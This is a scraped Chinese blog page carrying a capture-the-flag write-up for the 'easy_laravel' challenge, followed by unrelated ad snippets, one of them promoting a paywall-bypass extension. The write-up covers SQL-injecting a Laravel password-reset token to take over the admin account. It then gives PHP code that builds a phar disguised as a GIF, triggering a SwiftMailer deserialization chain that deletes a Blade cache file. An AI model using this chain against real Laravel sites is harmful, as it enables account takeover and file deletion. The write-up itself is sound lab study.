网站建设费包括wordpress分享视频

张小明 2026/3/12 9:11:49
网站建设费包括,wordpress分享视频,厦门网格员,厦门网站设计一般要多久题目#xff1a;攻防世界#xff1a;easy_laravel 学习提示#xff1a;blade pop chain#xff08;代码审计sql注入blade缓存反序列化#xff09;直接F12查看源码php的web框架一、注入 查看源码#xff1a; 这里应该是注入点#xff1a;看到管理员认证#xff0c;判断…题目攻防世界easy_laravel 学习提示blade pop chain代码审计sql注入blade缓存反序列化直接F12查看源码php的web框架一、注入查看源码这里应该是注入点看到管理员认证判断邮箱可以重置密码但是需要tokentoken在表password_reset中确定思路注册用户sql注入拿到token–reset一下管理员的密码生成token–登录获取flag1、注入laravel内置重置密码在Illuminate\Auth\Passwords中实现重置密码需要填写邮箱并向邮箱发送一个重置链接。laravel在5.4以后都是将token加密存储的而之前是明文存储所以我们就可以注入出token重置admin密码先访问**/password/reset重置admin密码然后注出token访问/password/reset/[token]**完成重置2、登录后发现显示 no flag二. blade 模板Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来除非它被修改否则不会重新编译这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名被存放在 resources/views 目录。所以当我们修改了flag的balde模板但是还没有编译使其渲染出新的flag页面其页面还是没修改时的那个缓存删除缓存文件1、上传phar文件2、利用phar文件删除缓存文件upload 实现phar文件上传 check利用通过此类实现反序列化。确定一下相关文件目录1、blade缓存位置storage/framework/views2、apache默认目录/var/www/html/加一起缓存文件就是 /var/www/html/storage/framework/views/flag.blade.php(sha1()34e41df0934a75437873264cd28e2d835bc38772)phaer 文件是以序列化形式存储的。当解析它的时候必然会用到反序列化的一些魔术方法。受影响的函数包括从其他师傅那学习到的生成phar的代码?php requirevendor/autoload.php;$aserialize(newSwift_ByteStream_TemporaryFileByteStream());var_dump(unserialize($a));var_dump($a);# 这个函数很有趣$_path 也就是删除的目录是可以自己制定的将这里面的内容换成我们想要的内容就可以删掉flag的缓存文件。 $apreg_replace(/\/tmp\/FileByteStream[\w]{6}/,/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php,$a);$astr_replace(s:25,s:90,$a);# 这里将 _path 的内容修改掉 $bunserialize($a);$pnewPhar(./shell.phar,0);$p-startBuffering();$p-setStub(GIF89a?php __HALT_COMPILER(); ?);# 改文件头 $p-setMetadata($b);$p-addFromString(test.txt,text);$p-stopBuffering();rename(shell.phar,1.gif)?生成后将1.gif上传然后点击check。修改数据包重新访问/flag路由得到flagflag flag{d64e4b06f672429682a96b11172a8938}
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

宁波北仑网站建设wordpress网络图片不显示

还在为毕业论文焦头烂额?选题没方向、大纲理不清、内容写不出、参考文献找不到?别再熬夜硬扛了!百考通全新推出的“毕业论文”AI智能写作平台(https://www.baikao tongai.com/bylw)现已全面上线——你只需输入论文标题…

张小明 2026/3/5 3:46:24 网站建设

网站建设51jyoo高明网站制作

付费墙突破利器:Bypass Paywalls Clean完全解析 【免费下载链接】bypass-paywalls-chrome-clean 项目地址: https://gitcode.com/GitHub_Trending/by/bypass-paywalls-chrome-clean 在信息获取成为核心竞争力的当下,优质新闻内容被层层付费墙所隔…

张小明 2026/3/5 3:46:21 网站建设

在家做网站或ps挣钱接活怎么用云虚拟主机建设网站

本文阐述了实现大模型落地应用的四个关键问题:首先需理解大模型的原理机制和能力边界;其次要梳理工业界业务环节,评估可替代部分;然后梳理现有大模型的类别、形式、收费和部署情况;最后关注落地重点难点,如…

张小明 2026/3/5 3:46:22 网站建设

h5做的公司网站淄博高端网站建设

抖音视频批量下载终极指南:一键保存无水印内容 【免费下载链接】douyin-downloader 项目地址: https://gitcode.com/GitHub_Trending/do/douyin-downloader 还在为手动保存抖音视频而烦恼吗?想要批量下载喜欢的创作者所有作品却无从下手&#xf…

张小明 2026/3/5 3:46:23 网站建设

如何建设学校网站内蒙古网站建设公司

在 SAP Business Application Studio 里用 Fiori: Open Application Generator 生成一个基于 Fiori Elements 的应用时,Data Source and Service Selection 这一步看起来像是在点下拉框,其实是在做一件非常关键的事情:把 UI 生成器要产出的前端工程,绑定到一个明确的后端 O…

张小明 2026/3/5 3:46:25 网站建设

不用花生壳做网站服务器广州百度seo公司

信号量与TCP/IP套接字编程详解 信号量基础 信号量是用于协调不同进程间操作的数据对象,常被用来共享一次只能由一个进程使用的资源。Linux内核负责维护信号量的状态,而非用户进程。若系统中安装了Linux内核源代码,可查看 include 文件 sem.h ,了解内核用于维护信号量状…

张小明 2026/3/5 3:46:26 网站建设